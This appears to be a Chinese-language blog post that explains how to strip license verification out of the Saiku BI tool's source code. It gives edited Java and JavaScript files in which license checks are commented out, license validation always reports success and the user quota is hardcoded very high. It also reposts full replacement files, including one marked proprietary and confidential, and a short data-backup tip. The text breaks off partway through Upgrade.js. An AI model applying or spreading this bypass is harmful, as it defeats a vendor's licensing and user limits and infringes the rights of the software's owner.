Saiku去掉License验证信息

终于还是走到了这一步,老早就在说要去掉这个License验证了,一直没做因为忙着别的。但是因为这个License还和可定义的用户数相关,限制了我们的使用,所以这里从saiku源码中做更改,去掉License验证。

需要更改的代码文件如下:

saiku-core\saiku-web\src\main\java\org\saiku\web\rest\resources\License.java
saiku-core\saiku-web\src\main\java\org\saiku\web\service\SessionService.java
saiku-ui\js\saiku\models\Session.js
saiku-ui\js\saiku\views\Upgrade.js

>>>后台代码更改  

1.更改SesseionService.java类中的 login方法,将有关于Licence验证的代码注释掉即可。改完后的login方法如下:

	 * @see org.saiku.web.service.ISessionService#login(javax.servlet.http.HttpServletRequest, java.lang.String, java.lang.String)
*/
/**modify the login for getting rid of license validate 2019-03-29*/
public Map<String, Object> login(HttpServletRequest req, String username, String password ) throws LicenseException {
// Object sl = null;
// String notice = null;
HttpSession session = ((HttpServletRequest)req).getSession(true);
session.getId();
sessionRepo.setSession(session);
// try {
// sl = l.getLicense();
// } catch (Exception e) {
// log.debug("Could not process license", e);
// throw new LicenseException("Error fetching license. Get a free license from http://licensing.meteorite.bi. You can upload it at /upload.html");
// } // if (sl != null) { // try {
// l.validateLicense();
// } catch (RepositoryException | IOException | ClassNotFoundException e) {
// log.debug("Repository Exception, couldn't get license", e);
// throw new LicenseException("Error fetching license. Please check your logs.");
// } if (authenticationManager != null) {
authenticate(req, username, password);
}
if (SecurityContextHolder.getContext() != null
&& SecurityContextHolder.getContext().getAuthentication() != null) {
Authentication auth = SecurityContextHolder.getContext().getAuthentication(); if (authorisationPredicate.isAuthorised(auth)) {
Object p = auth.getPrincipal();
createSession(auth, username, password);
return sessionHolder.get(p);
} else {
log.info(username + " failed authorisation. Rejecting login");
throw new RuntimeException("Authorisation failed for: " + username);
}
}
return new HashMap<>();
}

  

2.更改License.java类中的getLicense方法,将License校验直接返回正确的结果。 改动后的代码getLicense方法如下:

 @GET
@Produces({ "application/json" })
public Response getLicense() {
// try {
// return Response.ok().entity(licenseUtils.getLicense()).build();
// } catch (IOException | RepositoryException | ClassNotFoundException e) {
// e.printStackTrace();
// }
return Response.serverError().build();
}

  

 >>>前端代码更改

3. 去掉Saiku升级相关提示,Upgrade.js文件中将render方法内容注释掉,详情如下:

render: function() {
/*
var self = this;
var license = new License(); if(Settings.BIPLUGIN5){
if(Saiku.session.get("notice") != undefined && Saiku.session.get("notice")!=null && Saiku.session.get("notice")!=""){
$(this.el).append("<div><div id='uphead' class='upgradeheader'>Notice:"+Saiku.session.get("notice")+"</div>"); }
if (Settings.LICENSE.licenseType != undefined && (Settings.LICENSE.licenseType != "trial" && Settings.LICENSE.licenseType != "Open Source License")) {
return this;
}
if (Settings.LICENSE != undefined && Settings.LICENSE.licenseType === "trial") {
var yourEpoch = parseFloat(Settings.LICENSE.expiration);
var yourDate = new Date(yourEpoch);
self.remainingdays = self.daydiff(new Date(), yourDate); $(this.el).append("<div><div id='uphead' class='upgradeheader'>You are using a Saiku Enterprise" +
" Trial license, you have "+ self.remainingdays+" days remaining. <a href='http://www.meteorite.bi/saiku-pricing'>Buy licenses online.</a></div>");
return self;
}
else {
$(this.el).append("<div><div id='uphead' class='upgradeheader'>You are using Saiku Community" +
" Edition, please consider upgrading to <a target='_blank' href='http://meteorite.bi'>Saiku Enterprise</a>, or entering a <a href='http://meteorite.bi/products/saiku/sponsorship'>sponsorship agreement with us</a> to support development. " +
"<a href='http://meteorite.bi/products/saiku/community'>Or contribute by joining our community and helping other users!</a></div></div>"); return self;
}
}
else {
if(Saiku.session.get("notice") != undefined && Saiku.session.get("notice")!=null && Saiku.session.get("notice")!=""){
$(this.el).append("<div><div id='uphead' class='upgradeheader'>Notice:"+Saiku.session.get("notice")+"</div>"); }
if (Settings.LICENSE.licenseType != undefined && (Settings.LICENSE.licenseType != "trial" &&
Settings.LICENSE.licenseType != "Open Source License")) {
return this;
}
if (Settings.LICENSE.licenseType === "trial") {
var yourEpoch = parseFloat(Settings.LICENSE.expiration);
var yourDate = new Date(yourEpoch); self.remainingdays = self.daydiff(new Date(), yourDate); $(this.el).append("<div><div id='uphead' class='upgradeheader'>You are using a Saiku Enterprise" +
" Trial license, you have "+ self.remainingdays+" days remaining. <a href='http://www.meteorite.bi/saiku-pricing'>Buy licenses online.</a></div>");
return self;
}
else {
$(this.el).append("<div><div id='uphead' class='upgradeheader'>You are using Saiku Community" +
" Edition, please consider upgrading to <a target='_blank' href='http://meteorite.bi'>Saiku Enterprise</a>, or entering a <a href='http://meteorite.bi/products/saiku/sponsorship'>sponsorship agreement with us</a> to support development. " +
"<a href='http://meteorite.bi/products/saiku/community'>Or contribute by joining our community and helping other users!</a></div></div>");
return self;
}
} */ },

  

4.为了防止前台console中出现调用License接口404错误,我们还需要更改一下 Session.js的process_session与check_session方法,使其不调用License

 check_session: function() {
// This authentication cookie is used only by Orbis authentication strategy
var authCookie = this.getCookie(Settings.ORBIS_AUTH.cookieName); if (Settings.ORBIS_AUTH.hazelcast_enabled && authCookie && !this.atemptedToLoginByCookie) {
this.sessionid = 1;
this.username = authCookie;
this.password = authCookie;
this.atemptedToLoginByCookie = true; // In this case we inject the proper license attributes
var ONE_YEAR = 31556952000; /**
Settings.LICENSE = {
licenseType: 'Orbis',
expiration: Date.now() + ONE_YEAR
}
*/
this.login(authCookie, authCookie);
} else {
if (this.sessionid === null || this.username === null || this.password === null) {
var that = this;
this.clear();
this.fetch({ success: this.process_session, error: this.brute_force });
} else {
if (!this.atemptedToLoginByCookie) {
this.username = encodeURIComponent(options.username);
} this.load_session();
}
}
}, process_session: function(model, response) {
if ((response === null || response.sessionid == null)) {
// Open form and retrieve credentials
Saiku.ui.unblock();
if (Settings.DEMO) {
this.form = new DemoLoginForm({ session: this });
} else {
this.form = new LoginForm({ session: this });
}
this.form.render().open();
} else {
this.sessionid = response.sessionid;
this.roles = response.roles;
this.isAdmin = Settings.ORBIS_AUTH.hazelcast_enabled || response.isadmin;
this.username = encodeURIComponent(response.username);
this.language = response.language;
if (typeof this.language != "undefined" && this.language != Saiku.i18n.locale) {
Saiku.i18n.locale = this.language;
Saiku.i18n.automatic_i18n();
}
/**
var license =new License(); license.fetch_license('api/license/', function(opt) {
if (opt.status === 'success') {
Settings.LICENSE = opt.data.toJSON();
}
if(Saiku.session.isAdmin) { var quota = new LicenseQuota(); quota.fetch_quota('api/license/quota', function (opt) {
if (opt.status === 'success') {
Settings.LICENSEQUOTA = opt.data.toJSON();
}
});
} });
*/ this.load_session();
} return this;
},

  

做出以上更改后,重新打包编译源码即可。

再次启动编译好的saiku,就会发现不需要上传License文件啦!可直接登录saiku进行使用~

而且还有个地方可以验证你是否已经成功取得License相关信息,使用admin登录控制管理台,看不到license就表示成功了!!

>>> Saiku数据备份

关于saiku的数据备份,今日份尝试了一下,只需要将saiku-server目录下的 data,repository目录备份即可。(如果对saiku的源码有改动,重新编译了saiku ,建议将正在使用的saiku相关数据保存下来,免得自己再去配置。)

可直接去替换重新编译好的data , repository目录,在启动saiku,就会发现之前配置好的数据以及用户角色信息、文件信息都完好的保存了啦!!! 这就很赞啦嘻嘻嘻

 最后提供一下被更改过的完整的文件信息:(可直接用来替换本地的这个四个文件哦)

saiku-core\saiku-web\src\main\java\org\saiku\web\rest\resources\License.java

/* Copyright (C) OSBI Ltd - All Rights Reserved
* Unauthorized copying of this file, via any medium is strictly prohibited
* Proprietary and confidential
* Written by OSBI LTD, 2014
*/ package org.saiku.web.rest.resources; import org.saiku.service.license.ILicenseUtils;
import org.saiku.database.Database;
import org.saiku.service.license.Base64Coder;
import org.saiku.service.user.UserService;
import org.saiku.web.rest.objects.UserList; import com.qmino.miredot.annotations.ReturnType; import org.springframework.stereotype.Component; import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.sql.SQLException;
import java.util.ArrayList;
import java.util.List; import javax.jcr.RepositoryException;
import javax.ws.rs.*;
import javax.ws.rs.core.Response; /**
* Saiku license information resource.
*
* @since 3.0
* @author tbarber
*/
@Component
@Path("/saiku/api/license")
public class License { private ILicenseUtils licenseUtils;
private UserService userService; public ILicenseUtils getLicenseUtils() {
return licenseUtils;
} public void setLicenseUtils(ILicenseUtils licenseUtils) {
this.licenseUtils = licenseUtils;
} private Database databaseManager; public Database getDatabaseManager() {
return databaseManager;
} public void setDatabaseManager(Database databaseManager) {
this.databaseManager = databaseManager;
} public void setUserService(UserService us) {
userService = us;
} /**
* Get the saiku
* @summary Get the Saiku License installed on the current server
* @return A response containing a license object.
*/
@GET
@Produces({ "application/json" })
public Response getLicense() {
// try {
// return Response.ok().entity(licenseUtils.getLicense()).build();
// } catch (IOException | RepositoryException | ClassNotFoundException e) {
// e.printStackTrace();
// }
return Response.serverError().build();
} private static final int SIZE = 2048; /**
* Upload a new license to the Saiku server.
* @summary Upload a new license
* @param is A license encapsulated in an input stream
* @return An acknowledgement as to whether the server installation was successful.
*/
@POST
@Consumes("application/x-java-serialized-object")
@Produces("text/plain")
@ReturnType("java.lang.String")
public Response saveLicense(InputStream is) {
ObjectInputStream si = null;
byte[] sig;
byte[] data = null;
try {
si = new ObjectInputStream(is);
} catch (IOException e) {
e.printStackTrace();
} try {
int sigLength = si.readInt();
sig = new byte[sigLength];
si.read(sig); ByteArrayOutputStream dataStream = new ByteArrayOutputStream();
byte[] buf = new byte[SIZE];
int len;
while ((len = si.read(buf)) != -1) {
dataStream.write(buf, 0, len);
}
dataStream.flush();
data = dataStream.toByteArray();
dataStream.close();
} catch (IOException e) {
e.printStackTrace();
} finally {
try {
si.close();
} catch (IOException e) {
e.printStackTrace();
}
} getLicenseUtils().setLicense(new String(Base64Coder.encode(data))); return Response.ok("License Upload Successful").build();
} /**
* Validate the license installed on the server.
* @summary License validation
* @return A response indicating whether the operation was successful.
*/
@GET
@Path("/validate")
@Produces({ "text/plain" })
@ReturnType("java.lang.String")
public Response validateLicense() {
// if(!userService.isAdmin()){
// return Response.status(Response.Status.FORBIDDEN).build();
// }
// try {
// licenseUtils.validateLicense();
// } catch (IOException e) {
// e.printStackTrace();
// return Response.status(Response.Status.INTERNAL_SERVER_ERROR)
// .entity(e.getLocalizedMessage()).build();
// } catch (ClassNotFoundException e) {
// e.printStackTrace();
// return Response.status(Response.Status.INTERNAL_SERVER_ERROR)
// .entity(e.getLocalizedMessage()).build();
// } catch (LicenseException e) {
// return Response.status(Response.Status.INTERNAL_SERVER_ERROR)
// .entity(e.getLocalizedMessage()).build();
// } catch (RepositoryException e) {
// return Response.status(Response.Status.INTERNAL_SERVER_ERROR)
// .entity("Could not find license file").build();
// } catch (Exception e) {
// e.printStackTrace();
// }
return Response.ok().entity("Valid License").build(); } /**
* Get the current user list from the server.
* @summary Get the user list
* @return A list of users.
*/
@GET
@Path("/usercount")
@Produces({"application/json"})
@ReturnType("java.util.ArrayList<UserList>")
public Response getUserCount(){
if(!userService.isAdmin()){
return Response.status(Response.Status.FORBIDDEN).build();
}
try {
List<String> l = getAuthUsers();
if(l!=null) {
List<UserList> ul = new ArrayList();
int i = 0;
for (String l2 : l) {
ul.add(new UserList(l2, i));
i++;
}
return Response.ok().entity(ul.size()).build();
}
} catch (SQLException e) {
e.printStackTrace();
return Response.ok().entity(0).build();
}
return Response.ok().entity(0).build();
} /**
* Get the current user list from the server.
* @summary Get the user list
* @return A list of users.
*/
@GET
@Path("/users")
@Produces({"application/json"})
@ReturnType("java.util.ArrayList<UserList>")
public Response getUserlist(){
if(!userService.isAdmin()){
return Response.status(Response.Status.FORBIDDEN).build();
}
try {
List<String> l = getAuthUsers();
if(l!=null) {
List<UserList> ul = new ArrayList();
int i = 0;
for (String l2 : l) {
ul.add(new UserList(l2, i));
i++;
}
return Response.ok().entity(ul).build();
}
} catch (SQLException e) {
e.printStackTrace();
}
return null;
} /**
* Upload a user list to the server.
* @summary Upload user list
* @param l A List of UserList objects
* @return A response indicating whether the operation was successful.
*/
@POST
@Path("/users")
@Produces({"text/plain"})
@Consumes({"application/json"})
@ReturnType("java.lang.String")
public Response createUserList(List<UserList> l){
try {
List<String> l3 = new ArrayList<>();
for(UserList l2 : l){
l3.add(l2.getName());
}
addUsers(l3);
} catch (SQLException e) {
e.printStackTrace();
}
return Response.ok().entity("List created").build(); } /**
* Update the list of users with new users.
* @summary Update user list
* @param l A list of UserList objects
* @return A response indicating whether the operation was successful.
*/
@PUT
@Path("/users")
@Produces({"text/plain"})
@Consumes({"application/json"})
@ReturnType("java.lang.String")
public Response updateUserList(List<UserList> l){
try {
List<String> l3 = new ArrayList<>();
for(UserList l2 : l){
l3.add(l2.getName());
}
updateUsers(l3);
} catch (SQLException e) {
e.printStackTrace();
}
return Response.ok().entity("List updated").build(); } /**
* Delete the user list from the server.
* @summary Delete user list.
* @return A response indicating whether the operation was successful.
*/
@DELETE
@Path("/users")
@Produces({"application/json"})
@ReturnType("java.lang.String")
public Response deleteUserlist(){ try {
List<String> l = getAuthUsers();
List<UserList> ul = new ArrayList<>();
int i = 0;
for(String l2 : l) {
ul.add(new UserList(l2, i));
i++;
}
return Response.ok().entity(ul).build();
} catch (SQLException e) {
e.printStackTrace();
}
return null;
} /**
* Get the valid users from the database.
* @return a list of usernames
* @throws SQLException
*/
private List<String> getAuthUsers() throws SQLException {
return databaseManager.getUsers();
} /**
* Get the user quota for existing users with no license
* @return a list of user quota.
*/
@GET
@Produces("application/json")
@Path("/quota")
@ReturnType("java.util.List<UserQuota>")
public Response getUserQuota(){
if(!userService.isAdmin()){
return Response.status(Response.Status.FORBIDDEN).build();
}
return Response.ok().entity(100000000).build();
} /**
* Add users to the database.
* @param l List of usernames
* @throws SQLException
*/
public void addUsers(List<String> l) throws SQLException {
databaseManager.addUsers(l);
} /**
* Add users to the database.
* @param l List of usernames
* @throws SQLException
*/
public void updateUsers(List<String> l) throws SQLException {
databaseManager.addUsers(l);
} }

  

saiku-core\saiku-web\src\main\java\org\saiku\web\service\SessionService.java 

/*
* Copyright 2012 OSBI Ltd
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/ package org.saiku.web.service; import org.apache.commons.lang.StringUtils;
import org.saiku.repository.ScopedRepo;
import org.saiku.service.ISessionService;
import org.saiku.service.license.ILicenseUtils; import bi.meteorite.license.LicenseException;
import bi.meteorite.license.SaikuLicense2;
import org.saiku.service.util.security.authorisation.AuthorisationPredicate; import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.security.authentication.AnonymousAuthenticationToken;
import org.springframework.security.authentication.AuthenticationManager;
import org.springframework.security.authentication.BadCredentialsException;
import org.springframework.security.authentication.UsernamePasswordAuthenticationToken;
import org.springframework.security.core.Authentication;
import org.springframework.security.core.GrantedAuthority;
import org.springframework.security.core.context.SecurityContextHolder;
import org.springframework.security.core.userdetails.UserDetails;
import org.springframework.security.web.authentication.WebAuthenticationDetails;
import org.springframework.web.context.request.RequestContextHolder; import java.io.IOException;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.UUID; import javax.jcr.RepositoryException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpSession; public class SessionService implements ISessionService { private static final Logger log = LoggerFactory.getLogger(SessionService.class); private AuthenticationManager authenticationManager;
private AuthorisationPredicate authorisationPredicate; private final Map<Object,Map<String,Object>> sessionHolder = new HashMap<>(); private Boolean anonymous = false;
private ScopedRepo sessionRepo;
private Boolean orbisAuthEnabled = false; public void setAllowAnonymous(Boolean allow) {
this.anonymous = allow;
} private ILicenseUtils l; public ILicenseUtils getL() {
return l;
} public void setL(ILicenseUtils l) {
this.l = l;
} /* (non-Javadoc)
* @see org.saiku.web.service.ISessionService#setAuthenticationManager(org.springframework.security.authentication.AuthenticationManager)
*/
public void setAuthenticationManager(AuthenticationManager auth) {
this.authenticationManager = auth;
} public void setAuthorisationPredicate(AuthorisationPredicate authorisationPredicate)
{
this.authorisationPredicate = authorisationPredicate;
} /* (non-Javadoc)
* @see org.saiku.web.service.ISessionService#login(javax.servlet.http.HttpServletRequest, java.lang.String, java.lang.String)
*/
/**modify the login for getting rid of license validate 2019-03-29*/
public Map<String, Object> login(HttpServletRequest req, String username, String password ) throws LicenseException {
// Object sl = null;
// String notice = null;
HttpSession session = ((HttpServletRequest)req).getSession(true);
session.getId();
sessionRepo.setSession(session);
// try {
// sl = l.getLicense();
// } catch (Exception e) {
// log.debug("Could not process license", e);
// throw new LicenseException("Error fetching license. Get a free license from http://licensing.meteorite.bi. You can upload it at /upload.html");
// } // if (sl != null) { // try {
// l.validateLicense();
// } catch (RepositoryException | IOException | ClassNotFoundException e) {
// log.debug("Repository Exception, couldn't get license", e);
// throw new LicenseException("Error fetching license. Please check your logs.");
// } if (authenticationManager != null) {
authenticate(req, username, password);
}
if (SecurityContextHolder.getContext() != null
&& SecurityContextHolder.getContext().getAuthentication() != null) {
Authentication auth = SecurityContextHolder.getContext().getAuthentication(); if (authorisationPredicate.isAuthorised(auth)) {
Object p = auth.getPrincipal();
createSession(auth, username, password);
return sessionHolder.get(p);
} else {
log.info(username + " failed authorisation. Rejecting login");
throw new RuntimeException("Authorisation failed for: " + username);
}
}
return new HashMap<>();
} /** The old login validation , have to validate license information
public Map<String, Object> login(HttpServletRequest req, String username, String password ) throws LicenseException {
Object sl = null;
String notice = null;
HttpSession session = ((HttpServletRequest)req).getSession(true);
session.getId();
sessionRepo.setSession(session);
try {
sl = l.getLicense();
} catch (Exception e) {
log.debug("Could not process license", e);
throw new LicenseException("Error fetching license. Get a free license from http://licensing.meteorite.bi. You can upload it at /upload.html");
} if (sl != null) { try {
l.validateLicense();
} catch (RepositoryException | IOException | ClassNotFoundException e) {
log.debug("Repository Exception, couldn't get license", e);
throw new LicenseException("Error fetching license. Please check your logs.");
} try {
if (l.getLicense() instanceof SaikuLicense2) { if (authenticationManager != null) {
authenticate(req, username, password);
}
if (SecurityContextHolder.getContext() != null
&& SecurityContextHolder.getContext().getAuthentication() != null) {
Authentication auth = SecurityContextHolder.getContext().getAuthentication(); if (authorisationPredicate.isAuthorised(auth)) {
Object p = auth.getPrincipal();
createSession(auth, username, password);
return sessionHolder.get(p);
} else {
log.info(username + " failed authorisation. Rejecting login");
throw new RuntimeException("Authorisation failed for: " + username);
}
}
return new HashMap<>();
}
} catch (IOException | ClassNotFoundException | RepositoryException e) {
log.debug("Repository Exception, couldn't get license", e);
throw new LicenseException("Error fetching license. Please check your logs.");
}
}
return null;
}
*/
private void createSession(Authentication auth, String username, String password) { if (auth == null || !auth.isAuthenticated()) {
return;
} boolean isAnonymousUser = (auth instanceof AnonymousAuthenticationToken);
Object p = auth.getPrincipal();
String authUser = getUsername(p);
boolean isAnonymous = (isAnonymousUser || StringUtils.equals("anonymousUser", authUser));
boolean isAnonOk = (!isAnonymous || (isAnonymous && anonymous)); if (isAnonOk && auth.isAuthenticated() && p != null && !sessionHolder.containsKey(p)) {
Map<String, Object> session = new HashMap<>(); if (isAnonymous) {
log.debug("Creating Session for Anonymous User");
} if (StringUtils.isNotBlank(username)) {
session.put("username", username);
} else {
session.put("username", authUser);
}
if (StringUtils.isNotBlank(password)) {
session.put("password", password);
}
session.put("sessionid", UUID.randomUUID().toString());
session.put("authid", RequestContextHolder.currentRequestAttributes().getSessionId());
List<String> roles = new ArrayList<>();
for (GrantedAuthority ga : SecurityContextHolder.getContext().getAuthentication().getAuthorities()) {
roles.add(ga.getAuthority());
}
session.put("roles", roles); sessionHolder.put(p, session);
} } private String getUsername(Object p) { if (p instanceof UserDetails) {
return ((UserDetails)p).getUsername();
}
return p.toString();
} /* (non-Javadoc)
* @see org.saiku.web.service.ISessionService#logout(javax.servlet.http.HttpServletRequest)
*/
public void logout(HttpServletRequest req) {
if (SecurityContextHolder.getContext() != null && SecurityContextHolder.getContext().getAuthentication() != null) {
Object p = SecurityContextHolder.getContext().getAuthentication().getPrincipal();
if (sessionHolder.containsKey(p)) {
sessionHolder.remove(p);
}
} SecurityContextHolder.getContext().setAuthentication(null);
SecurityContextHolder.clearContext(); HttpSession session = req.getSession(false); if (session != null && !orbisAuthEnabled) { // Just invalidate if not under orbis authentication workflow
session.invalidate();
}
} /* (non-Javadoc)
* @see org.saiku.web.service.ISessionService#authenticate(javax.servlet.http.HttpServletRequest, java.lang.String, java.lang.String)
*/
public void authenticate(HttpServletRequest req, String username, String password) {
try {
UsernamePasswordAuthenticationToken token = new UsernamePasswordAuthenticationToken(username, password);
token.setDetails(new WebAuthenticationDetails(req));
Authentication authentication = this.authenticationManager.authenticate(token);
log.debug("Logging in with [{}]", authentication.getPrincipal());
SecurityContextHolder.getContext().setAuthentication(authentication);
}
catch (BadCredentialsException bd) {
throw new RuntimeException("Authentication failed for: " + username, bd);
} } /* (non-Javadoc)
* @see org.saiku.web.service.ISessionService#getSession(javax.servlet.http.HttpServletRequest)
*/
public Map<String,Object> getSession() {
if (SecurityContextHolder.getContext() != null && SecurityContextHolder.getContext().getAuthentication() != null) {
Authentication auth = SecurityContextHolder.getContext().getAuthentication();
Object p = auth.getPrincipal(); if (sessionHolder.containsKey(p)) {
Map<String, Object> r = new HashMap<>();
r.putAll(sessionHolder.get(p));
r.remove("password"); if (!r.containsKey("sessionid")) {
r.put("sessionid", UUID.randomUUID().toString());
} return r;
}
} return new HashMap<>();
} public Map<String,Object> getAllSessionObjects() {
if (SecurityContextHolder.getContext() != null && SecurityContextHolder.getContext().getAuthentication() != null) {
Authentication auth = SecurityContextHolder.getContext().getAuthentication();
Object p = auth.getPrincipal();
//createSession(auth, null, null);
if (sessionHolder.containsKey(p)) {
Map<String,Object> r = new HashMap<>();
r.putAll(sessionHolder.get(p));
return r;
} }
return new HashMap<>();
} public void clearSessions(HttpServletRequest req, String username, String password) throws Exception {
if (authenticationManager != null) {
authenticate(req, username, password);
}
if (SecurityContextHolder.getContext() != null && SecurityContextHolder.getContext().getAuthentication() != null) {
Authentication auth = SecurityContextHolder.getContext().getAuthentication();
Object p = auth.getPrincipal();
if (sessionHolder.containsKey(p)) {
sessionHolder.remove(p);
}
} } public void setSessionRepo(org.saiku.repository.ScopedRepo sessionRepo) {
this.sessionRepo = sessionRepo;
} public Boolean isOrbisAuthEnabled() {
return orbisAuthEnabled;
} public void setOrbisAuthEnabled(Boolean orbisAuthEnabled) {
this.orbisAuthEnabled = orbisAuthEnabled;
}
}

saiku-ui\js\saiku\models\Session.js 

/*
* Copyright 2012 OSBI Ltd
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/ /**
* Object which handles authentication and stores connections and cubes
* @param username
* @param password
* @returns {Session}
*/
var Session = Backbone.Model.extend({
username: null,
password: null,
sessionid: null,
upgradeTimeout: null,
isAdmin: Settings.ORBIS_AUTH.hazelcast_enabled,
id: null,
atemptedToLoginByCookie: false,
initialize: function(args, options) {
// Attach a custom event bus to this model
_.extend(this, Backbone.Events);
_.bindAll(this, "check_session", "process_session", "load_session","login", "brute_force");
// Check if credentials are being injected into session
if (options && options.username && options.password) {
this.username = options.username;
this.password = options.password;
if (!Settings.DEMO) {
this.save({username:this.username, password:this.password},{success: this.check_session, error: this.check_session});
} else {
this.check_session();
} } else {
this.check_session();
}
}, check_session: function() {
// This authentication cookie is used only by Orbis authentication strategy
var authCookie = this.getCookie(Settings.ORBIS_AUTH.cookieName); if (Settings.ORBIS_AUTH.hazelcast_enabled && authCookie && !this.atemptedToLoginByCookie) {
this.sessionid = 1;
this.username = authCookie;
this.password = authCookie;
this.atemptedToLoginByCookie = true; // In this case we inject the proper license attributes
var ONE_YEAR = 31556952000; /**
Settings.LICENSE = {
licenseType: 'Orbis',
expiration: Date.now() + ONE_YEAR
}
*/
this.login(authCookie, authCookie);
} else {
if (this.sessionid === null || this.username === null || this.password === null) {
var that = this;
this.clear();
this.fetch({ success: this.process_session, error: this.brute_force });
} else {
if (!this.atemptedToLoginByCookie) {
this.username = encodeURIComponent(options.username);
} this.load_session();
}
}
}, getCookie: function(name) {
var value = "; " + document.cookie;
var parts = value.split("; " + name + "="); if (parts.length == 2) {
var cookieVal = parts.pop().split(";").shift();
return cookieVal;
}
}, /**
* This is a complete hack to get the BI platform plugin working.
* @param obj
*/
brute_force: function(model, response){
this.clear();
this.fetch({ success: this.process_session, error: this.show_error });
},
show_error: function(model, response){ // Open form and retrieve credentials
Saiku.ui.unblock();
this.form = new SessionErrorModal({ issue: response.responseText });
this.form.render().open(); }, load_session: function() {
this.sessionworkspace = new SessionWorkspace();
}, process_session: function(model, response) {
if ((response === null || response.sessionid == null)) {
// Open form and retrieve credentials
Saiku.ui.unblock();
if (Settings.DEMO) {
this.form = new DemoLoginForm({ session: this });
} else {
this.form = new LoginForm({ session: this });
}
this.form.render().open();
} else {
this.sessionid = response.sessionid;
this.roles = response.roles;
this.isAdmin = Settings.ORBIS_AUTH.hazelcast_enabled || response.isadmin;
this.username = encodeURIComponent(response.username);
this.language = response.language;
if (typeof this.language != "undefined" && this.language != Saiku.i18n.locale) {
Saiku.i18n.locale = this.language;
Saiku.i18n.automatic_i18n();
}
/**
var license =new License(); license.fetch_license('api/license/', function(opt) {
if (opt.status === 'success') {
Settings.LICENSE = opt.data.toJSON();
}
if(Saiku.session.isAdmin) { var quota = new LicenseQuota(); quota.fetch_quota('api/license/quota', function (opt) {
if (opt.status === 'success') {
Settings.LICENSEQUOTA = opt.data.toJSON();
}
});
} });
*/ this.load_session();
} return this;
}, error: function() {
$(this.form.el).dialog('open');
}, login: function(username, password) {
var that = this;
this.save({username:username, password:password},{dataType: "text", success: this.check_session, error: function(model, response){
that.login_failed(response.responseText);
}}); },
login_failed: function(response){
this.form = new LoginForm({ session: this });
this.form.render().open();
this.form.setError(response);
},
logout: function() {
// FIXME - This is a hack (inherited from old UI)
Saiku.ui.unblock();
$('#header').empty().hide();
$('#tab_panel').remove();
Saiku.tabs = new TabSet();
Saiku.toolbar.remove();
Saiku.toolbar = new Toolbar(); if (typeof localStorage !== "undefined" && localStorage) {
localStorage.clear();
} this.set('id', _.uniqueId('queryaction_'));
this.destroy({async: false }); this.clear();
this.sessionid = null;
this.username = null;
this.password = null;
this.roles = null;
this.isAdmin = false;
this.destroy({async: false });
//console.log("REFRESH!");
document.location.reload(false); }, url: function() { return "session";
}
});

saiku-ui\js\saiku\views\Upgrade.js

/*
* Copyright 2012 OSBI Ltd
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/ /**
* The global toolbar
*/
var Upgrade = Backbone.View.extend({ events: {
}, initialize: function(a, b) { this.workspace = a.workspace; // Fire off workspace event
this.workspace.trigger('workspace:toolbar:render', {
workspace: this.workspace
}); }, daydiff: function(first, second) {
return Math.round((second-first)/(1000*60*60*24));
}, render: function() {
/*
var self = this;
var license = new License(); if(Settings.BIPLUGIN5){
if(Saiku.session.get("notice") != undefined && Saiku.session.get("notice")!=null && Saiku.session.get("notice")!=""){
$(this.el).append("<div><div id='uphead' class='upgradeheader'>Notice:"+Saiku.session.get("notice")+"</div>"); }
if (Settings.LICENSE.licenseType != undefined && (Settings.LICENSE.licenseType != "trial" && Settings.LICENSE.licenseType != "Open Source License")) {
return this;
}
if (Settings.LICENSE != undefined && Settings.LICENSE.licenseType === "trial") {
var yourEpoch = parseFloat(Settings.LICENSE.expiration);
var yourDate = new Date(yourEpoch);
self.remainingdays = self.daydiff(new Date(), yourDate); $(this.el).append("<div><div id='uphead' class='upgradeheader'>You are using a Saiku Enterprise" +
" Trial license, you have "+ self.remainingdays+" days remaining. <a href='http://www.meteorite.bi/saiku-pricing'>Buy licenses online.</a></div>");
return self;
}
else {
$(this.el).append("<div><div id='uphead' class='upgradeheader'>You are using Saiku Community" +
" Edition, please consider upgrading to <a target='_blank' href='http://meteorite.bi'>Saiku Enterprise</a>, or entering a <a href='http://meteorite.bi/products/saiku/sponsorship'>sponsorship agreement with us</a> to support development. " +
"<a href='http://meteorite.bi/products/saiku/community'>Or contribute by joining our community and helping other users!</a></div></div>"); return self;
}
}
else {
if(Saiku.session.get("notice") != undefined && Saiku.session.get("notice")!=null && Saiku.session.get("notice")!=""){
$(this.el).append("<div><div id='uphead' class='upgradeheader'>Notice:"+Saiku.session.get("notice")+"</div>"); }
if (Settings.LICENSE.licenseType != undefined && (Settings.LICENSE.licenseType != "trial" &&
Settings.LICENSE.licenseType != "Open Source License")) {
return this;
}
if (Settings.LICENSE.licenseType === "trial") {
var yourEpoch = parseFloat(Settings.LICENSE.expiration);
var yourDate = new Date(yourEpoch); self.remainingdays = self.daydiff(new Date(), yourDate); $(this.el).append("<div><div id='uphead' class='upgradeheader'>You are using a Saiku Enterprise" +
" Trial license, you have "+ self.remainingdays+" days remaining. <a href='http://www.meteorite.bi/saiku-pricing'>Buy licenses online.</a></div>");
return self;
}
else {
